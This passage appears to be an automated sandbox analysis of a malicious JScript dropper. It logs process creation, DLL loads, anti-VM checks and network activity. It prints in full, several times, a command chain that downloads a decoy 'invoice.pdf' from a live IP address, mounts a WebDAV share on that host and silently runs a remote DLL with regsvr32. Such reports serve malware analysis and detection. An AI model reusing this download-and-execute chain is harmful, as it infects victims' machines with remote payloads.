Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8481.js.csv");ITextStream.WriteLine(" entry:7490 f:xyvqchjjn");ITextStream.WriteLine(" exec:2 f:xyvqchjjn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5262			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4453			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4268	Thread sleep count: 5262 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4920	Thread sleep count: 4453 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2212	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5320	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4568	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2548	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6776	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1463598194.000001B463DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000007.00000002.1523235410.0000024566401000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: wscript.exe, 00000000.00000002.1463598194.000001B463DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\:X=7
Source: net.exe, 00000007.00000002.1523235410.0000024566401000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523235410.00000245663A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2741804443.000001CB09650000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2739999383.000001CB0402B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
